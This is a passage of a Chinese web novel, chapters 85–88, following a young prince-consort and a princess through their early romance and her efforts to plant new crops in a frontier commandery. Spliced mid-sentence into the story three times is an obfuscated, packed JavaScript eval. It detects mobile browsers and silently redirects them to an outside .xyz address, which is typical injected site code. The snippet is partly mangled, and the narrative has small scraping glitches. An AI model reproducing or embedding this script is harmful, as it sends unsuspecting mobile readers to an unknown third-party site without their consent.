湖对岸半人高的草丛间,褚景淇骂骂咧咧地拍着扑在他脸上、身上的虫子,又得意地仰起头看照亮半边天幕的焰火,哼哼两声,“这月色,这焰火,多浪漫啊。小百里,你可要好好感谢我!” 夜色稠得化不开,藏弓院的寝屋内厚厚的灯罩下来那亮着一豆灯火,勉强地映亮一点垂落的床幔。 睡在外侧的人影忽地轻轻翻身,百里浔舟侧身去牵身旁封眠安然的睡颜,眼底的笑意压也压不住得流淌出来。 他静静看了半晌,忽然小心地坐了起来,轻手轻脚地下了床。 王府的各处院落都已灭了灯,唯有巡逻的侍卫手中提着六角灯笼,行过一如既往风平浪静的庭院,路过定北王书房时,众人忽然脚步一顿。 窗内,一点模糊的灯影晃动着。 当先的侍卫倏地带队冲了进去,厉喝一声:“小贼休走!” “小贼”站直了身子,缓缓转身,手中的灯笼映亮百里浔舟面无表情的脸,冰冷的目光扫过突然闯进来的无名侍卫。 侍卫们当即缩了脖子,齐刷刷地恭敬垂首:“世子殿下!” 百里浔舟冷声道:“我来找几本书,忙你们的去。” “是!”侍卫们忙不迭地转身离开,挨挨挤挤地从门边出去后还不忘帮忙将门关上,凑在一起窃窃私语,“这么晚了世子殿下还在找书,怕是遇上了什么难题。” “少将军到底是少将军,这般好学!” 书房内,百里浔舟尴尬地将几本写有类似《风月传》标题的书册塞进了怀里。 85. 第 85 章 夜色深深,万籁俱寂,夜半时分睡不着的,又何止偷偷摸摸去找禁书来看的百里浔舟。 郡主府高筑的望月楼顶,封辞偃斜倚在冰凉的青灰瓦片上,屈起一膝,手边散乱地放着两坛烈酒。 他豪放地对月而饮,大片的酒液打湿了胸前的衣襟,被夜风吹过,冷冷地贴黏在肌肤上。 他却浑不在意地对着虚空举了举酒坛,酒意晕染的眼眸晶亮,有些少年模样,“阿兄,小满长大了,有了自己喜欢的人。也与你当初一样,勇敢得很,半点委屈都舍不得让他受。” 他顿了顿,喉结滚动,又灌下一口酒,语气染上几分复杂的嘲弄。 “只是……那小子与你一样,不,只怕他还不如你呢。他百里家年年戍守北疆,面对的是虎视眈眈的北夷,脑袋拴在裤腰带上的日子,比你还多。” “你总说后悔当年去招惹嫂嫂,害她总要独守空闺,连生产时你都未能陪在身边……所以也不想小满再嫁个武将,最好是能一辈子待在京中,平平安安便好。” “也不知你泉下有知,是忧是愁。不过这事你得怪在狗皇帝头上,这婚事是他亲口赐下的!” 夜风卷着他的低语,散入无边夜色。他沉默片刻,望着脚下郡主府中零星未熄的灯火,最终化作一声释然的轻叹。 “不过阿兄,你瞧,小满如今在北疆过得很好,没那么多规矩束缚,夫君也就在身边,怎么也比当年你与嫂嫂要强上些许吧?” “小满也与嫂嫂不同,她可没有一个混蛋弟弟,只有一个英明神武的小叔叔。我定替你们看好了百里那小子,不让他欺负小满。” 酒坛与瓦片轻碰,发出脆响,像一声回应。 与此同时,诸位司农暂居的庄园内,又是另一番景象。 庭灯摇月,在地上投下斑驳的光影。石桌上杯盘略显凌乱,陆鸣竹早已不胜酒力,直接趴倒在桌上,两颊醺红得不省人事。 封眠离席后,郡主府的筵席便散了,对她这一举动是为了谁心知肚明的几人,皆有些心神杂乱。陆鸣竹一不小心便贪了杯。 顾春温却仍端坐着,指尖轻轻晃动着手中的白瓷酒盏,澄澈的酒液里漾着一弯破碎的月光。他望着那点光影,唇角勾起一抹极淡的、意味不明的弧度,轻声自语:“真可惜……我还什么都没来得及做呢。” 一旁的成立虚听得心惊肉跳,连忙双手合十,对着东西南北胡乱拜了拜:“谢天谢地!顾兄,你可快歇了这份心吧!千万别再想着做点什么了!” 顾春温叹了口气,没应声。有胜算的才会歇不下心思,哪怕那胜算只有微弱毫苗。可也不知为什么,他总是会反复地梦见郡主,反复地想,若那几日他动作快些,是不是就会有不一样的结果。 身侧噗通一声打断了顾春温的思绪,陆鸣竹竟身子一歪,从石凳上滑坐下来,乱七八糟地倒在冰凉的地面,嘴里还含糊不清地嘀咕着“郡主”之类的字眼。 顾春温看着他这副模样,无奈地摇了摇头,放下酒盏,与成立虚一起俯身将烂醉如泥的陆鸣竹搀扶起来。 月色将他的影子拉得很长,显得格外清冷。 月影渐渐沉了下去,旭日东升,明媚日光透过敞开的雕花木窗,悄然探入垂落的锦缎床幔。百里浔舟在睡梦中皱了皱眉,眼睫微颤,感知到落在身上的暖意,忽然从酣沉的梦境中惊醒。 他下意识地伸手探向身侧,触手一片冰凉空荡,显然身旁人已起身多时。 心头猛地一空,他惊坐而起,怔怔地望着那空了一半的床榻,脑海中一片混乱,昨夜发生的一切莫不都是梦吧? 正当他心神不宁之际,门口传来“吱呀”一声轻响,有人走了进来。 百里浔舟一撩床幔,门口的人便似有所觉的望了过来,正是封眠。 百里浔舟几乎是立刻抬手撩开了床幔,一道修丽的身影正迈步进来,闻声便转眸望来,正是封眠。 她今日穿了一身涧石蓝绣如意云纹的软罗襦裙,乌发松松绾起,斜插一支蝴蝶珍珠流苏步摇,俏丽又温柔,像被晨光照亮的一泊湖水般。 对上百里浔舟的视线,她唇角自然弯起,眼中漾开笑意,“你醒啦,快起来洗漱用早膳了。” “外面日头有些晒,今日便在屋中用吧。” 她说着话,走向屏风的方向。 眼见她的身影要被屏风遮挡,百里浔舟立即跳下床,封眠的身影再次出现在他的视野中,他才稍稍安心。 他转身去洗漱,视线还不住地追着封眠跑,看她指挥着侍女们布菜,,从鬓边微散的发丝到裙摆摇曳的弧度,都看得仔细,仿佛生怕一错眼,眼前人就会消失不见。 见封眠面上点了精致的妆,百里浔舟心下掠过一丝遗憾。昨夜他临时抱佛脚翻书来看,其中便有夫君为妻子描眉的小画,他还暗自记下,想着今晨或许可以一试,现下怕是不行了。 但转念又一想,封眠的眉形本就好看,毛绒绒的眉毛十分可爱,也根本不需要他画眉添妆,那涂口脂总是可以的吧…… 思及此,他的眼睛便忍不住盯上了封眠殷红的双唇。唇瓣开合间,偶尔露出编贝般的皓齿。昨夜唇瓣相贴的温软瞬间袭上心头,百里浔舟只觉得一股热意“轰”地冲上脸颊,他慌忙将滚烫的脸埋进浸了冷水的巾帕里,用力蹭了蹭,恶狠狠地让自己清醒一点。 桌案上摆好几样清淡精致的早膳,两个矮凳相对摆放着。 百里浔舟走到近前,极其自然地将凳子拖到了封眠身侧,才一撩衣摆紧挨着她坐下,两人的膝盖不经意地碰在一处。 封眠侧眸瞧他,眼中带着些许讶然好笑,注意到他似是急着与她一同用早膳,身上还穿着雪白的中衣。 百里浔舟顺着封眠的视线看向自己身上,才后知后觉地发现自己还未更衣,耳根微热,却佯装镇定道:“饿了,先吃饭要紧。” “那你多吃一些。”封眠也不拆穿他,夹了枚丸子搁到他碗里。 百里浔舟瞪着碗里出现的雪白丸子,脑袋里反复回响着:她主动给我夹菜了! 他严肃地执箸,珍而重之地夹起丸子放入口中,便是嘉裕帝赐下宫宴上的菜肴,他也不会如此郑重相待了。 “你今早睡得好沉,我起身的动静都没吵醒你。这几日……”封眠顿了顿,咬唇问道:“是不是没睡好?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421111|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 百里浔舟哪好意思承认前几夜的辗转反侧,和昨夜做贼偷书的行径?当下便要否认,可目光触及封眠眼中那抹隐隐的歉疚,忽然福至心灵,重重点头,语气甚至带上了一丝不易察觉的委屈:“夜里心事重,睡不着。” 封眠闻言,愧疚之色更浓,低声替小叔叔的“试探”道歉。 “我也不好,若不是我默许,小叔叔也不会这么做……昨夜……”她正歉疚到一半,一只骨节分明的手忽然覆上她的手背,将她整只手都包裹了进去,热烘烘的体温传到她的手背之上。 百里浔舟目光灼灼地看她:“你愿意陪着小叔叔胡闹,不正式因为你心中有我吗?否则何必如此用心地试探我的心意?如今我明了你的心意,还应去谢谢小叔叔才是。” “只是……”他话锋一转,眼中带上几分期待,“之前的日子我确实过得好苦啊,向你讨一个补偿,不过分吧?” 封眠侧眸看他,轻轻点头。 百里浔舟便含笑探身凑近。 晨光透过敞开的门扉,为逐渐靠近的两人勾勒出一圈毛茸茸的金边。 坐在左侧的百里浔舟抻着腰,缓缓地侧首探身,封眠微微低着头,感受到他的靠近,长长的睫羽轻颤着缓缓闭上。感觉到眼前的光被他的身影一点点被遮去,温热的呼吸声渐近,她的心跳不受控制地乱了节拍。 就在呼吸相闻,唇瓣仅差一厘便要贴上之际。 “小百里——!” 院外传来一声惊天巨嗓,如同平地惊雷。 百里浔舟动作一顿,闭上眼深吸了一口气,压下心头翻涌的不愉。 封眠忍不住轻笑出声,伸手轻轻推了推他的肩头:“快去,九哥喊你呢。” 唇上蓦地一热,传来一记温热柔软的触感。 一触即分。 百里浔舟竟逮着空隙凑上来飞快地在她唇上啄了一下,这才不满地低声嘀咕:“我连外袍都还未换,你便急着赶我走?” 他垂着眼,叹息道:“九哥也要来打扰我,我……往日我见母亲晨起时替父亲挑选衣裳,羡慕得很,还想请你也帮我挑一挑,是不是没时间了……” 假的,幼时他不懂母亲为何挑件衣裳都能挑那么久,坐在一旁等候时,总以打瞌睡作结。待到十三四岁的年纪,他便更是不耐烦等父亲,总在屋外遥遥见个礼请个安,便要提着他的宝贝长枪往军营跑。 如今想来,那时果然是年纪小,不懂得父亲有多大的福气。 “那便让九哥在外头等着吧,想来他也没什么急事。” 封眠示意侍女们出去与褚景淇说一声,侍女乖觉地顺手关上了门。 封眠牵着百里浔舟起身,走到黄花梨顶箱立柜前,决定好好替他打扮一下。 他肩宽腰细,个子高挑,是个明晃晃的衣架子。封眠拿起幼时打扮磨喝乐的劲头来,替他挑起了衣裳。 百里浔舟站在身后含笑瞧她,正想上前一步将她搂入怀中,便敏锐捕捉到门扉被推开一条缝隙的动静。 阴魂不散的褚景淇隔着门缝,压低声音问:“小百里,你何时能好啊?” 拳头有些硬了。 86. 第 86 章 “你最好是有要事。” 百里浔舟黑着一张脸,与褚景淇并肩迈出藏弓院。他一面走,一面小心地理着身上的衣裳。 褚景淇快步跟上他,理直气壮地说:“自然是顶要紧的事,我才会来找你啊!昨日我可没少帮你的忙,请你做件事,也是请得动的吧?” 他说着话,注意到百里浔舟一会儿拽一拽袖口,一会儿理一理领子,一会儿紧一紧腰带,一会儿又摸一摸腰间的玉佩香包,纳闷道:“你衣服上长刺了?” 百里浔舟白他一样,唇角忍不住勾起,问道:“好看吗?” 他一面问,一面又拽了拽镶绣金线祥云的窄袖,指尖自然地掸了掸朱红白玉腰带,其上挂着的白玉玲珑腰佩和靛蓝香包随着动作轻晃起来。 褚景淇:…… 不知道为什么,看他这幅样子,他真想说不好看。 但百里浔舟是个衣裳架子,肩宽腰细,一张脸蛋更是生得俊俏逼人。就有这张脸和这身材在…… “你就是披麻袋也好看啊。”褚景淇答得十分诚恳,送上了自己的最高评价。 然而百里浔舟却不大高兴,眉峰都轻轻蹙了起来。 褚景淇:……什么毛病? “夸你也不行?” 百里浔舟着重强调道:“我是让你看衣裳,别看人,只看衣裳。” 他说着,沉肩挺腰,将一身玄色窄袖锦袍衬得越发挺括写意,领口不经意露出一点水云蓝里衣,很好地中和了玄色锦袍的肃杀之气。 看他如此得瑟炫耀的模样,褚景淇大彻大悟,“哦!你这身衣裳莫不是小表妹……” 百里浔舟唇角勾起。 褚景淇:“……小表妹亲手为你缝制的?” 百里浔舟的脸又垮了下去。 除了香包,他还没收到什么封眠自己缝制的物件,更别提衣裳了。他抬起眼皮瞥一眼褚景淇:“衣裳都有绣娘来缝制,哪需劳动她来?” 褚景淇:呀,猜错了。 他赶紧改口:“原来是小表妹亲自为你挑的衣裳啊!哎呀,平日里可不知道她眼光竟然这般好。我听说她平日里穿的衣裳,都是流萤给她打理好的,因为她最是不耐烦挑选搭配。如今竟然愿意替你挑衣裳,那定然是将你放在了心尖尖上。” 找到了症结所在,褚景淇一下子就变得极其会夸,句句说到了百里浔舟的心坎里。 百里浔舟终于是高兴了舒坦了,语气都柔和了两分:“所以九哥找我是有什么急事?” “你忘了吗?借信鸽给弥荼寄信啊!” 百里浔舟:“……” 他深呼吸,想着毕竟是褚景淇帮他布置得水榭,虽然他放的烟花打断了他与封眠之间绮丽的氛围,虽然他一大早就跑到他府上来,把脑袋钻进卧房里,打扰他与封眠温馨的晨起时光,虽然…… 百里浔舟咬着牙根问:“这事很紧急吗?” “自然紧急!我的信都写好了,可是一刻都等不及了!”褚景淇说罢,颇有心机地补上一句,“况且我还要帮小表妹带消息呢。她说想找些种子,看看有没有能囤来过冬的粮食,再过些时日都要立秋了,接着就是秋播的日子,可不是得争分夺秒吗?” 百里浔舟一听便没话说了,只默默地加快脚步。 凉风习习,卷去了闷热暑意。一间布置清雅的厅堂内,两名侍女站在巨大的手摇扇车之后,默契地拉动着机关,扇叶转动,凉风透过前方堆叠的、冒着丝丝凉气的硕大冰块,被源源不断地送入室内。 茶水入盏的声音响起,折夫人将泡好的热茶推到封眠面前,笑道:“他不敢贸然登王府的门,便写了信来,请我帮忙从中间说上一声。郡主之前要的那些种子,他已尽数带来了,估摸着今日便能道,想托我问一问,郡主殿下是确定会买下的吧?” 封眠有些惊讶,点头道:“自然。” “郡主莫怪,老白整日奔波,淘换新奇的种子,赚得也是个辛苦钱。”折夫人忙解释起来,“时常也会遇着那兴之所至,随口一诺的贵人,事后反悔,那千辛万苦淘换来的种子,便砸在手里了。若不是心下实在纠结忐忑,他绝不会在快到时才寄信过来。” “绝不是不信任郡主的意思。” “我明白。”封眠笑笑,“白老板今日若到了,你让他随时来王府敲门便是,我早早便与门房交代过了,绝对恭恭敬敬请他进门。” “这我便放心了,可算是没帮倒忙。”折夫人夸张地拍拍胸口,两人一齐笑开了。 廊下有脚步声传来,流萤探了探头,脸上笑意压都压不住,“郡主,世子殿下给您传了张字条。” 封眠招手示意她将字条拿进来,展开一面,上面写着褚景淇给弥荼寄信一事,他还特意检查了帮封眠催促种子那一段,确认无误才放信鸽离开。末了,他还学着封眠画了个垂头丧气的小人,显然还因早晨被褚景淇打扰一事郁闷。 看得出来他不精通画工,小人七扭八歪,只能勉强辨认,让封眠想起了在宫里头,与舅舅一起看过的他的画像,险些当着折夫人的面笑出声。 折夫人瞧见她眉眼间藏不住的笑意,了然地抿唇一笑,“昨夜湖边水榭的那场烟花,满城的百姓都瞧见了,大家都在传世子殿下与郡主殿下少年夫妻,情正浓时,真真羡煞旁人。如今看来,可是没传错。” 封眠闻言,颊边微热,将字条细细收入怀中,端起茶盏掩饰性地轻啜一口,才浅笑道:“那烟花是我九哥胡闹放的,倒让大家见笑了。” 不过现下应该不会有人追着她问她与世子和离的事了吧? 她心思微转,想起曾听过的些许旧闻,便顺势道:“说起来,听闻夫人与陈会长,亦是少年结发,风雨同舟数十载,如此琴瑟和鸣,也不知令多少人称羡呢。” 此话一出,折夫人面上那温婉得体的笑容倏然一滞,她指尖轻轻摩挲着杯沿,目光投向厅外杳渺的蓝天,语气变得疏淡而飘忽:“我与他这对少年夫妻啊……不过是世人看着光鲜罢了。” 气氛陡然变得有些凝滞。 她垂下眼眸,唇畔竟挂起了一点笑,却是带着满满的讥诮与倦意,“恩爱二字,最是凉薄,也经不起年岁磋磨、利字当头。这世间,哪有那么多磐石无转的情意。” 说罢,她似乎才惊觉自己的失态,抬首向封眠抱歉一笑:“我失言了。郡主与我不同,世子殿下更非我家那位夫君可比得的,定然是会恩爱不疑。” 封眠有些歉疚:“是我失言,让夫人想起心中不快之事了。” 她正欲寻个话题转圜,却见折夫人身边的一位嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428945|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷脚步匆匆地走近,“夫人,白老爷到了。” 折夫人面上挂起自然的笑意,顺势转了话题,“你瞧,说什么来什么,老白这一路定是赶得及了,快快将他请进来吧。” 嬷嬷应了声是,接着又面色为难地低声禀报:“夫人,门外还有位梁姑娘求见。” 折夫人的笑僵在唇畔,眼底透出淡漠冰冷的了然,甚至带着几分厌烦。她显然知晓来者何人,为何而来。 她迅速收敛了外露的情绪,重新挂上一副无懈可击的笑颜,对封眠客气而疏离地笑了笑:“郡主,实在抱歉,有些俗务需得处理,今日不能多留您与白老板了。” “无妨,我正好可以带白老板去见一见诸位司农。”封眠识趣地起身告辞,“夫人处理事务重要,不必送了。” 折夫人微微颔首,目送封眠离开。 封眠随着嬷嬷走出庭院,在经过垂花门时,与一名正低头走进来的女子错身而过。 那女子一身素淡衣裙,身形纤细娇弱,眉眼清秀,带着一股我见犹怜的风致。她不敢抬头,只匆匆一福,便步履轻盈地朝着折夫人所在的内院走去。 封眠脚步未停,心中却已了然。方才折夫人那些“恩爱凉薄”的话语,与眼前这抹娇柔的身影瞬间串联起来, 她心下暗暗叹了口气,这位陈会长,生意做得不如折夫人,怎还好意思攀花折柳? 封眠压下叹息的心绪,在外院遇着了等候的白老板,寒暄两句后,便带上他一道去了庄园。 也不知是与弥荼心有灵犀还是怎样,那边褚景淇的信刚随着信鸽寄出去,封眠这边就在庄园门口遇到了急递铺的士卒,说是百里浔舟刚给她传过字条没多久,急递铺就呈上了弥荼派人送来的种子,百里浔舟便命他们直接送到庄园来。 今天是什么日子,怎么事情全都赶到一起了?还好瞧着事多,其实都只是与种子相关的事,封眠便带着弥荼送来的种子和种子商人白老板一起去找成立虚。 成立虚正在查看白叠子的生长情况,见封眠过来,略有些为难地主动汇报道:“郡主,现已种下的这些白叠子,估计要入冬之后才能开花了。现下毕竟不是它惯常生长的气候,恐怕品相也不会太好。” “冬日?那就太晚了。”封眠有些发愁,待白叠子开花,还要采摘,晒干脱籽,再弹棉,怎么也得有一两个月的时间准备,到时都快开春了,百姓们哪里还来得及用上白叠子取暖? “郡主殿下,草民有一事想禀。”白老板忽然嗫嚅着开口。 封眠压下心绪,温声道:“白老板但说无妨。” “我此次购入种子最多的一个效果,名叫‘月泉’,那里有一位贵族,独爱白叠子花开时如云似雪之景,广种数百亩,待到九月便可开花了。若是郡主愿意,草民愿再往月泉,询问他是否愿意售卖。” 数百亩?封眠眼眸一亮,拍板道:“好,他愿意卖多少,我们便买多少。你何时出发?我派一队侍卫随从保护你。” 白老板大喜:“今日就行!” 封眠失笑:“您今日刚风尘仆仆到了云中郡,多少歇两日,补足了精神再上路。” 白老板心下一暖,都说郡主殿下仁心爱民,竟连这种小事都关心着,待日后他跑不动了,不如也来云中郡终老好了。 87. 第 87 章 好运似乎在同一日到来。 封眠在整理弥荼寄来的种子时,从一堆异域花种中辨认出了两种她曾在梦中见过的块茎——土豆与红薯。 她立刻意识到,如果现在抓紧时间试种成功,三四个月后就可以收获一茬,恰好能赶在严冬霜冻之前囤做粮食。能更好地度过一冬不说,还能用切切实实的食物,推广这两种种子。 她再次搬出那套万能的“古籍所见”的说辞,语气却带着不容置疑的决断,命令成立虚几人立即着手播种,并打算再次给弥荼去信多讨要些种子回来,尽量安排每户人家都种上一两亩地。 待所有事宜安排妥当,又将庄园内培育的植株都察看一遍后,日头已悄然西沉。封眠与诸位司农告辞,欢欢喜喜地往庄园外走。 她刚拎着裙摆迈出门槛,便瞧见门外廊柱下一道俊如修竹的身影倚柱而立。 百里浔舟穿的仍是晨起时她亲手为他挑的装扮,只是肩上多了一条玄色薄披风。披风随意地斜落着,末端垂至长靴边,被晚风卷起又落下,平添几分潇洒不羁。 他显然早已捕捉到她由远及近的雀跃脚步声。在她望过去的一瞬间,他的目光便精准地迎了上来。先是眼角弯了弯,带着锐利的眉峰都柔和下来,周身凛冽的气息顿消,随即他才直起身,向前迎了两步,单手利落地解开了颈下的披风系带。 宽大的玄色披风展开,带着他身上的温热气息,不由分说地将封眠兜头罩住,裹得严严实实。 他的披风太大了,完全将封眠整个人裹住。 封眠挣了挣,疑惑道:“今日不冷呀,系披风做什么?” “晚些怕是会下雨,起风后便凉了。”他声音温柔,低声说话时像极了在耳侧呢喃的爱语,“乖,让我系上。” 这么轻轻一哄,封眠的脸颊腾地便红了,两手规规矩矩地在身前交握,任由他用修长的手指为她系好颈前的带子。 松开披风系带时,他微凉的指节顺势轻轻勾了勾封眠的下巴,“你想坐马车回去,还是骑马回去?” 百里浔舟眼底闪着晶晶亮的期待,显然很希望她说骑马回去,这样他就可以与她同骑,光明正大地当街将她拥入怀中。 “我想……”封眠眼底掠过一丝狡黠,刻意拉长了音调,看着百里浔舟的眼睛随着她的声音而期待地逐渐圆睁,才干脆道:“走回去!” 两则选项都被否决,百里浔舟怔了一下才反应过来,想到两人似乎还没并肩在云中郡逛过,原本因期待落空而微微抿平的唇角,又一瞬扬了起来。他垂在身侧的手,带着几分试探和满满的期待,小幅度地、悄悄伸了出去。 下一刻,一只比他小了许多、温软的手便自然而然地放入他的掌心,与他十指交握。 笑意在百里浔舟的脸上漾开,他紧紧回握住,牵着封眠转身走上了云中郡的街头。 天边霞色暖融,长街上华灯初上,人流如织。 路过的百姓瞧见两人,有些欢欢喜喜地问上一声好,有些怕打扰他们二人游玩,只友善地看上一眼便去忙碌自己的事。 封眠瞧瞧左边热腾腾的馄饨摊,又瞧瞧右边五彩斑斓的面具摊,眼睛都快用不过来了。她最爱看这样平凡又热闹的生活常景。 幸好身侧有百里浔舟牵着,护着她不至于贪看街边的热闹而走错路或撞到人。 “阿娘,什么时候才能吃到糖葫芦呀?”路过的小朋友被父亲抱在怀里,探头不高兴地与母亲撒娇。 母亲安抚着:“快了快了,再过几个月天气凉下来,便能吃上糖葫芦了。” 某些记忆忽然苏醒,封眠轻轻拽了拽百里浔舟的手,仰头看他,“说起来,互市那次,你骑着马跑了那么远给我是哪个糖葫芦……世子殿下,你老实交代,那时候是不是就已经在偷偷喜欢我了?” 她很兴奋,觉得自己抓住了百里浔舟的一个秘密。 耳根微不可察地泛起点红晕,百里浔舟却并未回避。他坦然迎上她探寻中带着的目光,点了点头:“是。那时便喜欢了,只是我好似还没太意识到。” 许多事都是凭直觉便去做了,如今想想,姚知远说他是块石头,当真是没有冤枉他。 “三更半夜,翻女子闺房的窗户,你是与谁学的?”封眠语带调侃。 “我们是正经拜过堂的……”百里浔舟小声嘀咕一句,接着反客为主,,目光灼灼地看她:“那你呢?你是什么时候开始喜欢我的?” “我啊……”封眠被他问住,睫毛轻颤,真的开始认真回想。 百里浔舟坦然承认了,然后问你是什么喜欢上我的? 她尚在思索,却听身旁的百里浔舟语气幽幽地提醒:“离开狼骨岭后,那夜你说见到我之后,倒有些喜欢我了,果然是诓我的吧?” 语气重带着一丝不易察觉的委屈和控诉 狼骨岭?那一夜? 封眠努力在记忆中搜寻,终于想起在他们还不甚熟悉的时候,她撞见这位世子半夜躺树上不睡觉的事。 当时她对百里浔舟只有无穷尽的探究疑惑,说什么喜欢啊都是故布迷阵罢了,他该不会信了吧? 封眠飞快地眨了两下眼,开始思索要不然干脆说自己当时是对他一见钟情好了? 见她半晌没有回应,百里浔舟如何能不知道答案?虽然心里早就做好了准备,但此刻知道一直以来都是自己的误会,他还是“危险”地缓缓眯起了眼,有点不甘心。 他真是自作多情了好久。 “好啊你,”他凑近她,声音压得低低的,带着几分咬牙切齿的意味,热气拂过她的耳畔,“果然是骗我的,随口说来哄我的是不是?后来你送我香包,跟着我去拥雪关,也都是哄我的,是不是?” 看着他又是气恼又是委屈的模样,封眠忽然忍不住想笑,又觉得此刻笑出来定然会“火上浇油”,只好努力抿住唇,眼底却漾满了藏不住的笑意。 “我那时……”她顿了顿,也不好说自己做的一切都是为了探查他有没有谋反的心思,实在没法解释自己的怀疑,万一让他误以为是舅舅不放心他,那就不大妙了。 她眼珠一转,瞧见一个卖酥山冰食的摊子,当即把人拽了过去,眼巴巴地瞧着那淋了蔗浆、堆了果脯的酥山,轻轻拉了拉百里浔舟的衣袖:“阿琢,我想吃这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431816|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 话题转得生硬极了,百里浔舟无奈瞧她一眼,终究还是没有再继续问,只干脆得拒绝了她吃冰的请求。 “不可。你身体不好,流萤和雾柳都不许你吃冰,你便想来诓我?” 封眠早料到他会如此,立刻有理有据地反驳:“那你说,我是不是好些日子没生病了?” “疫病方好,你便忘了疼?” “那怎么能算呢?那可不是我不注意包养身体才病的。”她踮踮脚,摁住他的肩与他对视,“我肠胃如今都好得很,少吃一点定然不会有事的。” 百里浔舟两手分别握住她的手腕,将她安安稳稳送回地面上,依然拒绝:“不行。” 封眠便仰头看着他,忽然话锋一转,语气变得极为认真:“你不觉得吗?” “什么?”百里浔舟疑惑看她。 “你确实是我的解厄星啊。自从遇见你,好多棘手的麻烦都迎刃而解,连运气都变好了。疫病都拿我没办法,这小小酥山,还在话下吗?” 这番直白的,明显是忽悠人的夸赞,却让百里浔舟的嘴角绷不住了,微微上扬的弧度无论如何也压不下去,最终还是噗嗤笑了出声。 “为了一口冰,你真是什么话都敢说?你说实话,以前难道没有私下与流萤和雾柳说,觉得我克你之类的话吗?”百里浔舟虽然喜欢听她夸他,但还真是不是什么夸奖都能信的。 封眠不自然地扭过脸去,想到与自己近在咫尺的酥山看来是没戏了,嘴角就难过地撇了下去,眉尾都耷拉了下去,满脸写着“我好可怜”。 身前传来一声幽幽的叹气,百里浔舟越过她走到摊前,“来一份……最小的。” 封眠倏地扭头看去,眼眸瞬间亮了起来,盯着百里浔舟端来一碗巴掌大的酥山,并递来一个小小的木勺。 “只准尝一点。” 封眠接过勺子,小心翼翼地挖了指尖大小的一点,放入口中。冰凉的甜意在舌尖化开,她满足地眯起了眼。 “我能尝尝吗?”百里浔舟很有礼貌地询问。 百里浔舟毕竟让她吃上了酥山,她也不能自私独享了。 封眠大方地将木勺和装着酥山的冰碗同时递给百里浔舟,然后便眼睁睁地看着百里浔舟拿过她手中的冰碗,木勺反过来扣住一点点冰,然后端起冰碗仰头…… 大半碗冰径直砸进了他的嘴巴里,百里浔舟被冰得一蹙眉,龇牙咧嘴地把冰咽了下去,转而换上一副淡定神情,将碗递还给更面。 封眠看着碗里只剩一点点的冰,愣住了。 “你……”封眠愣住了。 百里浔舟冠冕堂皇道:“既只能吃一点,剩下的也不好浪费。” 封眠先是气结,却也知道他是为自己好,发不出好,最后笑出声来。 “等明年,明年夏日我的身子定然更好了,到时便让阿雪给我作保,让我自由地吃酥山!” “行行行,明年一定行。”百里浔舟自然巴不得她的身体是越来越好的,老做这种“坏事”,他也是会心虚的。 阳将两人的身影温柔地拉长,在青石板路上投下缠绵的剪影。 88. 第 88 章 “郡主的意思是,这个红薯可以种到荒地里头?三四个月就能有收成?”老农的声音带着不敢置信的颤抖。 “那我们家能种五亩!反正荒地闲着也是闲着,能种一点是一点。”当家的婶娘一拍身旁汉子的大腿,笑得见牙不见眼,“孩儿他爹有的是力气!” “我们就……就不了吧。家里腾不出那么多人手来……”体弱的新妇无奈地叹息。 粮食向来是重中之重,郡守听闻封眠找到了新的良种,都不待封眠上门,早早地便亲自带着书吏上门询问,大喜之下,他当即命人取出田产册,亲自挑选了几个得力的里正,跟着封眠一起去各家游说。 即便家中没有荒地,只要愿意试种,每户可向官府申领五亩荒地。消息传开,反应却各不相同。 有农户欣然支持封眠,当场画押领走荒坡,也有人摇头离去,觉得这从来没见过的物件,万一白忙活一场,实在不划算,毕竟种地的人还要吃些有油水的口粮才能干得动活,总要将力气留给正经的土地。 忙活整日,最终只登记出去七十多亩荒地。郡守看着册子上的数字,愁眉不展。 封眠却道:“去年冬日可没有这七十亩多出来的粮食。” 郡守一听,确实是这么个理,倒是他贪心了。 “况且种子状态如何,种出来的庄稼品质如何也尚不可知,百姓有不安才是正常的。待到霜冻之前若是有了一波收成,百姓们都愿意种了,还来得及再种下一波种子,待来年春日收获。” “现在我反而更担心,若弥荼送来的粮食不够种七十亩,要如何与他们解释。” 几句话间,郡守的心情跌宕起伏,最后总算是停在一个比较平和的区间。 封眠告辞郡守,刚踏出府衙门口,正准备上马车,忽见三两人群朝着城东方向涌去,嘈杂的人声中,她敏锐地捕捉到了“折夫人”三个字。 她心下一凛,忙拦住一人询问:“出什么事了?” 被拦住的人急急丢下一句:“陈会长出事了!”,便忙不迭地甩开手往前跑。 陈会长?折夫人的夫君? 出事了却没人来报官,莫不是生了急病? 